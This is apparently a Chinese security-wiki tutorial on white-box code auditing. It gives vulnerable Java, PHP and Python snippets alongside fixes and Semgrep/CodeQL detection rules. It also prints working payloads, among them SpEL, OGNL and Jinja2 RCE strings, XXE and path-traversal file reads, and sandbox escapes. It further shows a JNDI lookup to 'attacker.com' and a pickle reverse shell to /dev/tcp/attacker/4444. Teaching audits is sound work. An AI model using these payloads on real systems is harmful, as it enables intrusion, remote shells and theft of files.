云计算百科
云计算领域专业知识百科平台

代码审计实战指南:从白盒分析到漏洞挖掘(附 Java/PHP/Python 实战案例)

前言

在甲方安全建设与红队渗透中,代码审计(Code Audit / White-box Testing)
是一项核心能力。相比于黑盒扫描"撞运气"式的漏洞发现,代码审计能够从
源头定位缺陷,理解业务逻辑,挖掘出黑盒难以触达的高危逻辑漏洞与组合链。

本文将从方法论出发,系统讲解白盒审计的思路,对比六大主流审计工具,并
分别给出 Java、PHP、Python 三大语言的实战审计案例,最后演示如何用
Semgrep / CodeQL 实现自动化审计,以及一个完整 CMS 的审计链构造过程。

【提示】本文所有代码示例仅用于安全研究与授权测试,严禁用于非法用途。
请遵守《网络安全法》及相关法律法规,未经授权的渗透测试属于违法行为。

——————————————————————————–
一、代码审计概述与方法论
——————————————————————————–

1.1 什么是代码审计

代码审计是指通过人工或自动化工具,对程序源代码进行系统性检查,发现其中
可能存在的安全漏洞、逻辑缺陷、硬编码敏感信息等问题的过程。其本质是
"以读代码的方式找漏洞"。

代码审计的优势:
– 能够发现黑盒扫描无法覆盖的逻辑漏洞(如越权、支付逻辑缺陷)
– 能够精确定位漏洞根因,给出修复建议
– 能够在开发阶段(Shift Left)提前消除安全隐患,降低修复成本
– 能够发现隐藏的后门与供应链投毒代码

1.2 白盒审计 vs 黑盒审计

| 对比维度   | 白盒审计(代码审计)           | 黑盒审计(渗透测试)           |
|————|——————————-|——————————-|
| 测试视角   | 拥有源代码,从内部看           | 无源代码,从外部看             |
| 覆盖率     | 高,可达 100% 代码路径         | 受限于输入空间与认证状态       |
| 漏洞类型   | 逻辑漏洞、配置缺陷、隐藏后门   | 注入类、配置暴露、认证绕过     |
| 误报率     | 工具误报较高,需人工确认       | 误报较低,但漏报率高           |
| 成本       | 前期高(需阅读代码)           | 相对较低                       |
| 适用阶段   | 开发期、上线前审计             | 上线后、红队评估               |

【注意】白盒与黑盒并非对立关系,成熟的甲方安全体系应采用"白盒为主、
黑盒为辅"的灰盒(Gray-box)策略,相互补充。

1.3 自顶向下 vs 自底向上

代码审计有两种经典分析路径,实战中通常结合使用:

【1】自顶向下(Top-Down)
    从入口点(路由、Controller、Action)出发,沿着数据流追踪用户输入
    如何流向危险函数(Sink)。适合快速理解业务,定位数据流向。

    分析路径:路由 -> Controller -> Service -> DAO -> 危险操作

【2】自底向上(Bottom-Up)
    从危险函数(Sink)出发,反向回溯数据来源,判断参数是否用户可控。
    适合在大型代码库中快速定位已知漏洞模式。

    分析路径:危险函数 -> 调用链回溯 -> 参数来源 -> 是否可控

1.4 代码审计通用方法论(七步法)

```
步骤 1:环境搭建与项目结构分析
        – 部署运行环境,理解项目目录结构、框架版本
        – 识别依赖组件(pom.xml / composer.json / requirements.txt)

步骤 2:入口点识别(Source)
        – 路由配置(@RequestMapping / route.php / Flask @app.route)
        – 反序列化入口、文件上传接口、SOAP/REST API

步骤 3:危险函数识别(Sink)
        – Java:Runtime.exec、ProcessBuilder、SpEL eval、XML解析
        – PHP:eval、assert、system、include、unserialize
        – Python:eval、exec、os.system、subprocess、pickle.loads

步骤 4:数据流追踪(Taint Analysis)
        – 从 Source 到 Sink 追踪用户输入是否经过净化
        – 重点关注"净化函数"是否可被绕过

步骤 5:漏洞验证(PoC 构造)
        – 编写最小化 PoC 验证漏洞可利用性

步骤 6:漏洞链构造(Chain)
        – 将多个低危漏洞组合成高危利用链

步骤 7:修复建议与报告
        – 给出代码级修复方案,输出审计报告
```

【提示】实战中"自底向上"效率更高:先用 IDE 全局搜索危险函数,再回溯
数据流,能在数小时内完成对中型项目的初筛。

——————————————————————————–
二、常用代码审计工具对比
——————————————————————————–

工欲善其事,必先利其器。下面对六款主流代码审计工具进行横向对比:

| 工具       | 语言支持              | 检测方式       | 优势                           | 劣势                       | 适用场景           |
|————|———————-|—————-|——————————-|—————————-|——————-|
| Fortify    | Java/C#/C++/JS 等 25+| 静态分析(SAST) | 规则丰富、企业级、报告完善     | 商业收费昂贵、误报多        | 企业级合规审计     |
| Checkmarx  | Java/JS/Python 等 25+| 静态分析(SAST) | 数据流分析强、支持 IDE 插件    | 商业收费、扫描较慢          | 企业级 DevSecOps  |
| CodeQL     | Java/C/C++/Python 等 | 查询式分析     | 自定义查询灵活、语义分析深     | 学习曲线陡、需自建数据库    | 深度漏洞挖掘       |
| SonarQube  | 20+ 语言             | 静态分析+质量  | 开源免费、CI/CD 集成好         | 安全规则较少、偏代码质量    | 代码质量+基础安全  |
| Semgrep    | 20+ 语言             | 模式匹配       | 开源免费、规则编写简单、速度快 | 无数据流分析(CE版)、误报  | 快速规则扫描       |
| RIPS       | PHP 为主             | 数据流分析     | PHP 审计专精、污点追踪强       | 商业收费、语言支持有限      | PHP 项目审计      |

【注意】没有任何一款工具能 100% 覆盖漏洞。最佳实践是"工具初筛 + 人工
复核",工具负责快速定位可疑点,人工负责确认与漏洞链构造。

2.1 工具选型建议

– 个人学习 / 开源项目:Semgrep(免费)+ CodeQL(免费)+ 手工审计
– PHP 项目专项审计:RIPS + 手工 IDE 审计
– 企业级 DevSecOps:SonarQube(质量)+ Checkmarx/Fortify(安全)+ Semgrep(自定义规则)
– 深度漏洞挖掘(漏洞猎手):CodeQL(自定义查询)+ 人工逆向数据流

2.2 IDE 辅助审计技巧

推荐使用 IntelliJ IDEA / VS Code 进行手工审计:

```
– 全局搜索危险函数:Ctrl+Shift+F 搜索 eval(、exec(、Runtime
– 查找调用关系:Ctrl+Alt+H 查看 Call Hierarchy(调用层级)
– 数据流追踪:利用 IDE 的 Find Usages 反向回溯参数来源
– 断点调试:在可疑函数处下断点,动态跟踪数据流(灰盒审计)
```

——————————————————————————–
三、Java 代码审计实战
——————————————————————————–

Java 是企业级应用的主流语言,其生态丰富、组件众多,也是代码审计的重点
目标。本节将讲解 Java 中五类典型漏洞的挖掘与审计方法。

3.1 SpEL 注入漏洞挖掘与审计

SpEL(Spring Expression Language)是 Spring 框架提供的表达式语言。
当用户输入被直接传入 SpEL 解析器时,可能导致任意代码执行。

漏洞代码示例:

```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

@RestController
public class SpelController {

    @GetMapping("/spel")
    public String spel(@RequestParam String expr) {
        ExpressionParser parser = new SpelExpressionParser();
        // 【漏洞】用户输入 expr 直接被解析为 SpEL 表达式
        Expression expression = parser.parseExpression(expr);
        return expression.getValue().toString();
    }
}
```

审计要点:
– 全局搜索 SpelExpressionParser、parseExpression、getValue
– 检查表达式内容是否来自用户输入
– 检查是否使用了 SimpleEvaluationContext(安全上下文)

PoC 利用:

```
# 执行系统命令
T(java.lang.Runtime).getRuntime().exec('calc')

# 读取文件
new String(T(java.nio.file.Files).readAllBytes(
    T(java.nio.file.Paths).get('/etc/passwd')))
```

安全修复:

```java
// 使用安全上下文,禁用类型引用与方法调用
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding()
    .build();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context).toString();
```

【警告】SimpleEvaluationContext 会阻止 T() 类型引用和方法调用,但仍需
注意表达式注入的信息泄露风险。最佳方案是不将用户输入作为表达式解析。

3.2 JNDI 注入漏洞挖掘

JNDI(Java Naming and Directory Interface)注入是 Java 经典漏洞类型。
当应用调用 InitialContext.lookup() 且参数用户可控时,攻击者可指向恶意
LDAP/RMI 服务,加载远程类实现 RCE。

漏洞代码示例:

```java
import javax.naming.InitialContext;

@RestController
public class JndiController {

    @GetMapping("/jndi")
    public Object jndi(@RequestParam String name) throws Exception {
        InitialContext ctx = new InitialContext();
        // 【漏洞】name 用户可控,可指向恶意 JNDI 服务
        return ctx.lookup(name);
    }
}
```

审计要点:
– 搜索 InitialContext.lookup、Context.lookup、ldap://、rmi://
– 检查 lookup 参数是否来自配置文件、HTTP 请求、消息体
– 关注 Spring Cloud、Log4j 等组件中的 JNDI 使用

PoC 利用流程:

```
1. 攻击者启动恶意 LDAP 服务(如 marshalsec / JNDI-Injection-Exploit)
2. 发送请求:GET /jndi?name=ldap://attacker.com/Exploit
3. 目标服务器加载远程恶意类并执行
```

各 JDK 版本绕过技巧:

| JDK 版本    | 默认限制                 | 绕过方式                          |
|————-|————————-|———————————–|
| JDK < 8u191 | 无限制                   | 直接 LDAP 加载远程类              |
| 8u191+      | com.sun.jndi.ldap.object.trustURLCodebase=false | 本地 Gadget(BeanFactory、Tomcat EL) |
| 11.0.1+     | 同上                     | 本地 Gadget / 序列化对象          |

安全修复:

```java
// 1. 白名单校验 JNDI 名称,禁止外部协议
private static final Set<String> ALLOWED = Set.of("java:comp/env/");
public Object safeLookup(String name) throws Exception {
    if (!ALLOWED.stream().anyMatch(name::startsWith)) {
        throw new SecurityException("非法 JNDI 名称");
    }
    return new InitialContext().lookup(name);
}

// 2. 升级 JDK 版本,设置系统属性
//    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
//    -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
```

3.3 模板注入(SSTI)漏洞挖掘

Java 模板引擎(FreeMarker、Velocity、Thymeleaf)若将用户输入作为模板
内容渲染,会导致 SSTI(Server-Side Template Injection)。

FreeMarker SSTI 漏洞示例:

```java
import freemarker.template.Configuration;
import freemarker.template.Template;

@RestController
public class FreemarkerController {

    @GetMapping("/render")
    public String render(@RequestParam String templateStr) throws Exception {
        Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
        // 【漏洞】用户输入直接作为模板内容
        Template template = new Template("userTpl", templateStr, cfg);
        StringWriter writer = new StringWriter();
        template.process(new HashMap<>(), writer);
        return writer.toString();
    }
}
```

PoC 利用(FreeMarker):

```
<#assign cmd="exec">
${"freemarker.template.utility.Execute"?new()("id")}
```

Velocity SSTI PoC:

```
#set($e="exp")
#set($c=$e.class.forName("java.lang.Runtime"))
#set($m=$c.getMethod("getRuntime",$null))
#set($r=$m.invoke($null,$null))
#set($cmd=$r.exec("id"))
```

审计要点:
– 搜索 Template、process、Velocity、FreeMarker、getTemplate
– 区分"用户输入作为数据"与"用户输入作为模板"——后者才是漏洞
– Thymeleaf 关注 ~{…} 片段表达式注入(Prepend/Fragment Injection)

3.4 XML 外部实体注入(XXE)审计

XXE 发生在 XML 解析器未禁用外部实体引用时,可导致文件读取、SSRF、
拒绝服务。虽然 XXE 已是老话题,但在 Java 审计中仍高频出现。

漏洞代码示例:

```java
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;

@RestController
public class XxeController {

    @PostMapping(value = "/xml", consumes = "application/xml")
    public String parseXml(@RequestBody String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        // 【漏洞】未禁用外部实体
        DocumentBuilder builder = factory.newDocumentBuilder();
        Document doc = builder.parse(new InputSource(new StringReader(xml)));
        return doc.getDocumentElement().getNodeName();
    }
}
```

PoC 利用(读取文件):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```

审计要点(搜索危险解析器):

```
– DocumentBuilderFactory.newInstance()
– SAXParserFactory.newInstance()
– XMLReaderFactory.createXMLReader()
– Unmarshaller.unmarshal()(JAXB)
– SAXReader(DOM4j)
– XMLInputFactory(StAX)
```

安全修复(禁用外部实体):

```java
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 关键防御:禁用 DOCTYPE 与外部实体
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
```

【提示】setFeature 方法在不同解析器实现中 feature URI 不同,建议封装
统一的 SafeXmlFactory 工具类,避免遗漏。

3.5 表达式注入漏洞审计(OGNL / MVEL / Aviator)

除 SpEL 外,Java 生态还有 OGNL(Struts2)、MVEL、Aviator 等表达式引擎,
均存在注入风险。

OGNL 注入示例(Struts2 经典场景):

```java
import ognl.Ognl;
import ognl.OgnlContext;

// 【漏洞】用户输入直接作为 OGNL 表达式
public Object evalOgnl(String expr) throws Exception {
    OgnlContext context = (OgnlContext) Ognl.createDefaultContext(null);
    return Ognl.getValue(expr, context, context.getRoot());
}
```

OGNL RCE PoC:

```
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(
#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').
toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:
{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()))
```

MVEL 注入示例:

```java
import org.mvel2.MVEL;

// 【漏洞】用户输入作为 MVEL 表达式
Object result = MVEL.eval(userInput);
```

审计要点:
– 搜索 Ognl.getValue、Ognl.parseExpression、MVEL.eval、Aviator.execute
– 检查表达式内容是否用户可控
– Struts2 历史漏洞(S2-045/S2-053/S2-061)关注 OGNL 注入点

安全修复:
– 避免将用户输入作为表达式解析
– Aviator 可使用 AviatorEvaluator.execute 配合白名单函数
– 升级 Struts2 至最新版本并禁用 OGNL 动态调用

——————————————————————————–
四、PHP 代码审计实战
——————————————————————————–

PHP 是 Web 安全的"重灾区",其灵活的动态特性使其容易产生各类漏洞。
本节讲解 PHP 中四类典型漏洞的审计方法。

4.1 代码执行漏洞审计(eval / assert / preg_replace)

PHP 中存在多个可执行代码的函数,审计时需重点关注。

漏洞代码示例一(eval):

```php
<?php
// 【漏洞】用户输入被拼入 eval
$code = $_GET['code'];
eval("echo " . $code . ";");
// PoC: ?code=phpinfo()
// PoC: ?code=system('id')
?>
```

漏洞代码示例二(assert):

```php
<?php
// 【漏洞】assert 在 PHP 7.2 之前会执行字符串代码
$expr = $_POST['expr'];
assert($expr);
// PoC: expr=system('whoami')
?>
```

漏洞代码示例三(preg_replace /e 修饰符):

```php
<?php
// 【漏洞】/e 修饰符在 PHP 5.5 之前会执行替换内容为代码
$pattern = $_GET['pattern'];
$subject = 'hello world';
$result = preg_replace('/' . $pattern . '/e', 'system("id")', $subject);
// PoC: pattern=.*  (将匹配内容替换为 system("id") 的执行结果)
?>
```

审计要点(全局搜索危险函数):

```
eval(          assert(         preg_replace(.*\\/e
create_function(  call_user_func(  call_user_func_array(
usort(         uasort(         array_map(       array_filter(
```

【注意】call_user_func、array_map 等回调函数若第一个参数(回调名)用户
可控,同样可导致代码执行。审计时不要只看 eval。

动态函数调用审计:

```php
<?php
// 【漏洞】动态函数调用,$func 用户可控
$func = $_GET['func'];
$arg  = $_GET['arg'];
$func($arg);
// PoC: ?func=system&arg=id
?>
```

安全修复:

```php
<?php
// 使用白名单限制可调用函数
$allowed = ['strlen', 'strtoupper', 'trim'];
$func = $_GET['func'];
if (!in_array($func, $allowed, true)) {
    die('非法调用');
}
$func($_GET['arg']);
?>
```

4.2 变量覆盖漏洞审计(extract / parse_str)

PHP 的 extract() 和 parse_str() 可将数组/字符串解析为变量,若处理用户
输入,可覆盖已有变量,导致认证绕过、逻辑漏洞。

漏洞代码示例一(extract 覆盖认证变量):

```php
<?php
// 【漏洞】extract 处理用户输入,可覆盖 $is_admin
$is_admin = false;
extract($_GET);
if ($is_admin) {
    echo "欢迎管理员";
    // 敏感操作…
}
// PoC: ?is_admin=1
?>
```

漏洞代码示例二(parse_str 覆盖配置):

```php
<?php
// 【漏洞】parse_str 将查询字符串解析为变量
$config = ['db_host' => 'localhost', 'debug' => false];
$query = $_SERVER['QUERY_STRING'];
parse_str($query);
// 攻击者传入 ?config[debug]=1 可覆盖 $config 数组
if ($config['debug']) {
    phpinfo();
}
// PoC: ?config[debug]=1
?>
```

审计要点:
– 搜索 extract(、parse_str(
– 检查 extract 的第二个参数是否为 EXTR_SKIP(安全模式)
– 检查 parse_str 是否使用了第二个参数(绑定到数组而非当前作用域)
– 关注 $$ 可变变量(Variable Variables)导致的覆盖

可变变量漏洞示例:

```php
<?php
// 【漏洞】$$ 可变变量覆盖
foreach ($_GET as $key => $value) {
    $$key = $value;   // 危险!可覆盖任意变量
}
// PoC: ?_SESSION[uid]=1  覆盖会话变量
?>
```

安全修复:

```php
<?php
// 方案 1:extract 使用 EXTR_SKIP,不覆盖已有变量
extract($_GET, EXTR_SKIP);

// 方案 2:parse_str 绑定到指定数组
parse_str($query, $params);
$config = array_merge($defaultConfig, $params);

// 方案 3:避免可变变量,显式取值
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
?>
```

【警告】register_globals 已在 PHP 5.4 移除,但 $$ 可变变量和 extract
仍可在现代 PHP 中造成同等的变量覆盖危害,审计时务必警惕。

4.3 路径穿越漏洞审计

路径穿越(Path Traversal)允许攻击者通过 ../ 序列访问预期目录外的文件。
PHP 中常见于文件读取、文件包含、文件删除等场景。

漏洞代码示例:

```php
<?php
// 【漏洞】未过滤 ../ 直接拼接文件路径
$file = $_GET['file'];
$path = "/var/www/uploads/" . $file;
// 攻击者传入 ?file=../../../../etc/passwd
echo file_get_contents($path);
?>
```

审计要点(搜索文件操作函数):

```
file_get_contents(   file_put_contents(   fopen(    readfile(
include(  require(  include_once(  require_once(
unlink(   copy(  move_uploaded_file(  file_exists(
```

PoC 与绕过技巧:

```
# 基础穿越
?file=../../../../etc/passwd

# 编码绕过(当存在简单过滤时)
?file=..%2f..%2f..%2fetc%2fpasswd        # URL编码
?file=….//….//etc/passwd              # 双写绕过单次替换
?file=..%252f..%252fetc%252fpasswd        # 二次URL编码
?file=php://filter/convert.base64-encode/resource=config.php  # 伪协议
```

安全修复:

```php
<?php
$file = $_GET['file'];
$path = realpath("/var/www/uploads/" . $file);

// 方案 1:realpath 校验 + 目录前缀检查
$base = realpath("/var/www/uploads/");
if ($path === false || strpos($path, $base) !== 0) {
    die('非法路径');
}
echo file_get_contents($path);

// 方案 2:basename 取文件名(去掉目录部分)
$safeName = basename($file);
echo file_get_contents("/var/www/uploads/" . $safeName);
?>
```

【提示】realpath 会解析符号链接,是防御路径穿越最可靠的方法之一,但
需注意其返回 false 的情况(文件不存在)。

4.4 任意文件包含漏洞审计

PHP 的 include/require 可动态包含文件,若参数用户可控,可导致:
– 读取任意 PHP 文件源码(配合 php://filter)
– 执行任意代码(配合远程包含或日志/Session 文件包含)

漏洞代码示例:

```php
<?php
// 【漏洞】动态包含用户可控文件
$page = $_GET['page'];
include("/var/www/pages/" . $page . ".php");
// PoC: ?page=../../../../etc/passwd%00  (PHP<5.3.4 截断)
// PoC: ?page=php://filter/convert.base64-encode/resource=../config
?>
```

PHP 伪协议利用汇总:

| 伪协议                      | 作用                          | 利用条件                 |
|—————————–|——————————-|————————–|
| php://filter                | 读取文件源码(base64编码)     | 无特殊条件               |
| php://input                 | 读取 POST 原始数据            | allow_url_include=On    |
| data://                     | 内联数据执行                  | allow_url_include=On    |
| phar://                     | 触发 phar 反序列化            | PHP >= 5.3              |
| zip://                      | 压缩包内文件包含              | PHP >= 5.3              |
| expect://                   | 命令执行                      | 需安装 expect 扩展       |

审计要点:
– 搜索 include(、require(、include_once(、require_once(
– 检查参数是否来自用户输入
– 检查是否开启了 allow_url_include / allow_url_fopen
– 关注 %00 截断(PHP < 5.3.4)和路径长度截断(Windows 240 字符)

安全修复:

```php
<?php
// 白名单方式,最安全
$allowedPages = ['index', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowedPages, true)) {
    $page = 'index';
}
include("/var/www/pages/" . $page . ".php");
?>
```

——————————————————————————–
五、Python 代码审计实战
——————————————————————————–

Python 因其简洁语法和强大动态特性,在 Web 开发与 AI 领域广泛使用,其
代码审计同样有独特的关注点。本节讲解三大典型 Python 漏洞。

5.1 沙箱逃逸技巧

Python 沙箱(Sandbox)通常通过删除危险函数、限制内建模块来"隔离"代码
执行。但 Python 强大的反射机制使得沙箱逃逸成为可能。

常见沙箱限制方式:

```python
# 限制方式 1:删除危险内建函数
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
del __builtins__.__dict__['exec']

# 限制方式 2:替换内建为空字典
__builtins__ = {}

# 限制方式 3:AST 解析黑名单(禁止 Import/Call 等节点)
```

沙箱逃逸技巧一:通过子类链获取危险类

```python
# 利用 object.__subclasses__() 找到可用类
# 例如找到 warnings.catch_warnings,其内部引用了 linecache,
# linecache 又引用了 os 模块

().__class__.__bases__[0].__subclasses__()
# 遍历子类列表,找到包含 os 模块的类
for cls in ().__class__.__bases__[0].__subclasses__():
    if 'catch_warnings' in cls.__name__:
        cls.__init__.__globals__['linecache'].__dict__['os'].system('id')
        break
```

沙箱逃逸技巧二:通过已加载模块获取 os

```python
# 从任意已加载模块的 __globals__ 中获取 os
[c for c in ().__class__.__base__.__subclasses__()
 if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('whoami')
```

沙箱逃逸技巧三:f-string / 格式化字符串泄露

```python
# Python 格式化字符串可泄露对象属性
config = {'SECRET_KEY': 's3cr3t'}
user_input = '{0.__class__.__init__.__globals__}'
# 即使 config 中没有该键,格式化仍可能泄露内部信息
print(user_input.format(config))
```

审计要点:
– 搜索 eval(、exec(、compile(、__import__(
– 检查沙箱是否真正隔离(反射机制几乎总能绕过黑名单)
– 关注 pickle.loads、yaml.load(PyYAML)等可执行任意代码的入口
– 格式化字符串审计:搜索 .format(、f"",检查用户是否可控

【警告】Python 沙箱极难做到真正安全。建议不要依赖沙箱隔离不可信代码,
应使用操作系统级隔离(容器、seccomp、独立虚拟机)。

5.2 pickle 反序列化漏洞

Python 的 pickle 模块在反序列化时可执行任意代码。若应用反序列化用户
可控数据,将导致 RCE。

漏洞代码示例:

```python
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/load', methods=['POST'])
def load_data():
    # 【漏洞】直接反序列化用户提交的 pickle 数据
    data = request.get_data()
    obj = pickle.loads(data)
    return str(obj)
```

PoC 构造(利用 __reduce__ 魔术方法):

```python
import pickle
import os

class Exploit:
    def __reduce__(self):
        # 反序列化时自动调用 os.system('id')
        return (os.system, ('id',))

# 生成恶意 pickle 数据
payload = pickle.dumps(Exploit())
# 将 payload 作为 POST body 发送到 /load 接口
```

进阶利用(反弹 Shell):

```python
import pickle, base64

class Exploit:
    def __reduce__(self):
        return (eval, (
            "__import__('os').popen('bash -i >& /dev/tcp/attacker/4444 0>&1')",
        ))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
```

审计要点(搜索反序列化函数):

```
pickle.loads(        pickle.load(         cPickle.loads(
yaml.load(           # PyYAML,不加 Loader=SafeLoader 即可执行任意对象
shelve.open(         # 底层使用 pickle
jsonpickle.decode(   # 第三方库,同样危险
dill.loads(          # pickle 增强版
```

PyYAML 漏洞示例:

```python
import yaml

# 【漏洞】yaml.load 默认使用 FullLoader 之前版本可执行任意 Python 对象
data = yaml.load(user_input)  # 危险
# 安全写法
data = yaml.safe_load(user_input)  # 安全
```

PyYAML RCE PoC:

```yaml
!!python/object/apply:os.system ["id"]
```

安全修复:

```python
# 方案 1:使用 JSON 替代 pickle(首选)
import json
obj = json.loads(data)

# 方案 2:如必须用 pickle,限制可反序列化的类
import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
    ALLOWED_CLASSES = {
        ('builtins', 'dict'), ('builtins', 'list'), ('builtins', 'str'),
    }
    def find_class(self, module, name):
        if (module, name) in self.ALLOWED_CLASSES:
            return super().find_class(module, name)
        raise pickle.UnpicklingError(f"禁止反序列化 {module}.{name}")

def safe_loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()

# 方案 3:PyYAML 使用 safe_load
yaml.safe_load(data)
```

5.3 模板注入(SSTI / Jinja2)审计

Flask 常用 Jinja2 模板引擎,若用户输入被作为模板渲染,导致 SSTI。

漏洞代码示例:

```python
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'guest')
    # 【漏洞】用户输入拼入模板字符串
    template = '<h1>Hello ' + name + '</h1>'
    return render_template_string(template)
    # PoC: /greet?name={{7*7}}  ->  返回 Hello 49
```

Jinja2 SSTI RCE 利用链:

```
# 1. 探测
{{7*7}}                      # 返回 49 确认 SSTI

# 2. 获取所有子类(找可利用类)
{{''.__class__.__mro__[1].__subclasses__()}}

# 3. 利用 Popen 执行命令
{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()[0]}}
# 其中 X 为 subprocess.Popen 在子类列表中的索引

# 4. 通用 RCE(通过 builtins)
{{cycler.__init__.__globals__.os.popen('id').read()}}

# 5. 读取文件
{{().__class__.__bases__[0].__subclasses__()[X]('/etc/passwd').read()}}

# 6. 绕过过滤(下划线被过滤时)
{{()|attr('\\x5f\\x5fclass\\x5f\\x5f')}}
{{request|attr('application')|attr('\\x5f\\x5fglobals\\x5f\\x5f')}}
```

常见过滤绕过技巧汇总:

| 过滤内容     | 绕过方式                                       |
|————–|————————————————|
| {{ }}        | {% if … %}{% endif %} 或 {%%}                |
| 下划线 _     | \\x5f 编码、attr() 函数、|attr 过滤器           |
| 点号 .       | ['xxx'] 中括号访问、|attr 过滤器               |
| 关键字 class | \\x5f\\x5fclass\\x5f\\x5f 或 request 对象回溯      |
| 引号         | request.args.param 从请求参数取字符串          |
| 数字         | (dict|length) 等表达式生成数字                 |

审计要点:
– 搜索 render_template_string(、Template(、from_string(
– 区分"用户输入作为模板上下文变量"(安全)与"用户输入作为模板内容"(漏洞)
– 安全写法:render_template_string('<h1>Hello {{ name }}</h1>', name=name)

安全修复:

```python
# 方案 1(推荐):将用户输入作为上下文变量传入
@app.route('/greet')
def greet():
    name = request.args.get('name', 'guest')
    return render_template_string('<h1>Hello {{ name }}</h1>', name=name)

# 方案 2:使用独立模板文件(推荐)
return render_template('greet.html', name=name)

# 方案 3:启用 Jinja2 沙箱环境
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_input)
return template.render()
```

——————————————————————————–
六、代码审计自动化
——————————————————————————–

手工审计效率有限,自动化工具能大幅提升审计效率。本节演示如何使用
Semgrep 和 CodeQL 编写自定义规则进行自动化漏洞挖掘。

6.1 使用 Semgrep 编写自定义规则

Semgrep 是开源的轻量级代码扫描工具,支持自定义规则,语法简洁,适合
快速编写针对特定漏洞模式的检测规则。

Semgrep 规则语法示例(检测 PHP eval 注入):

```yaml
# eval_injection.yml
rules:
  – id: php-eval-injection
    patterns:
      – pattern: eval($INPUT)
      – pattern-not: eval("…")
    message: 检测到 eval() 调用,可能存在代码执行漏洞
    languages: [php]
    severity: ERROR
    metadata:
      cwe: "CWE-94: Improper Control of Generation of Code"

  – id: php-extract-var-overwrite
    pattern: extract($_GET)
    message: extract() 直接处理 $_GET,可能导致变量覆盖
    languages: [php]
    severity: WARNING

  – id: python-pickle-deserialization
    pattern: pickle.loads($DATA)
    message: pickle.loads 反序列化可能存在 RCE 漏洞
    languages: [python]
    severity: ERROR

  – id: java-spel-injection
    pattern-either:
      – pattern: $PARSER.parseExpression($USER_INPUT)
      – pattern: $PARSER.parseExpression($REQ.getParameter(…))
    message: SpEL 表达式可能存在注入漏洞
    languages: [java]
    severity: ERROR
```

运行 Semgrep 扫描:

```bash
# 安装
pip install semgrep

# 使用自定义规则扫描项目
semgrep –config eval_injection.yml –json -o results.json ./target_project

# 使用社区规则集
semgrep –config p/php –config p/java ./target_project

# 仅输出 ERROR 级别
semgrep –config eval_injection.yml –error ./target_project
```

6.2 CodeQL 查询示例

CodeQL 是 GitHub 开源的语义化代码分析工具,通过将代码转化为数据库,
使用类 SQL 语法(QL 语言)查询漏洞模式,数据流分析能力强。

CodeQL 查询示例一(Java SpEL 注入污点追踪):

```ql
/**
 * @name SpEL expression injection
 * @kind path-problem
 * @id java/spel-injection
 */
import java
import semmle.code.java.dataflow.TaintTracking
import semmle.code.java.frameworks.spring.SpEL

class SpelConfig extends TaintTracking::Configuration {
    SpelConfig() { this = "SpelConfig" }

    override predicate isSource(DataFlow::Node source) {
        // 数据源:HTTP 请求参数
        source.asParameter().getCallable() instanceof SpringRequestMappingMethod
    }

    override predicate isSink(DataFlow::Node sink) {
        // 汇点:parseExpression 调用
        exists(MethodAccess ma |
            ma.getMethod().hasName("parseExpression") and
            sink.asExpr() = ma.getArgument(0)
        )
    }
}

from SpelConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink.getNode(), source, sink,
    "SpEL 注入:用户输入从 $source 流向 $sink"
```

CodeQL 查询示例二(Python pickle 反序列化):

```ql
/**
 * @name Unsafe pickle deserialization
 * @kind path-problem
 * @id python/unsafe-pickle
 */
import python
import semmle.python.dataflow.new.TaintTracking
import semmle.python.Concepts

module PickleConfig implements DataFlow::ConfigSig {
    predicate isSource(DataFlow::Node source) {
        // 数据源:HTTP 请求体
        exists(Call call |
            call.getFunc().(Attribute).getName() = "get_data" and
            source.asExpr() = call
        )
    }

    predicate isSink(DataFlow::Node sink) {
        exists(Call call |
            call.getFunc().(Attribute).getName() in ["loads", "load"] and
            call.getFunc().(Attribute).getObject().(Name).getId() = "pickle" and
            sink.asExpr() = call.getArg(0)
        )
    }
}

module PickleFlow = TaintTracking::Global<PickleConfig>;

from PickleFlow::PathNode source, PickleFlow::PathNode sink
where PickleFlow::flowPath(source, sink)
select sink.getNode(), source, sink,
    "pickle 反序列化漏洞:用户输入流向 pickle.loads"
```

CodeQL 数据库构建与查询流程:

```bash
# 1. 创建 CodeQL 数据库(Java 项目)
codeql database create java-db –language=java –command="mvn clean install"

# 2. 创建数据库(Python 项目)
codeql database create py-db –language=python –overwirte ./target_project

# 3. 运行自定义查询
codeql database analyze java-db spel-injection.ql –format=sarif-latest -o results.sarif

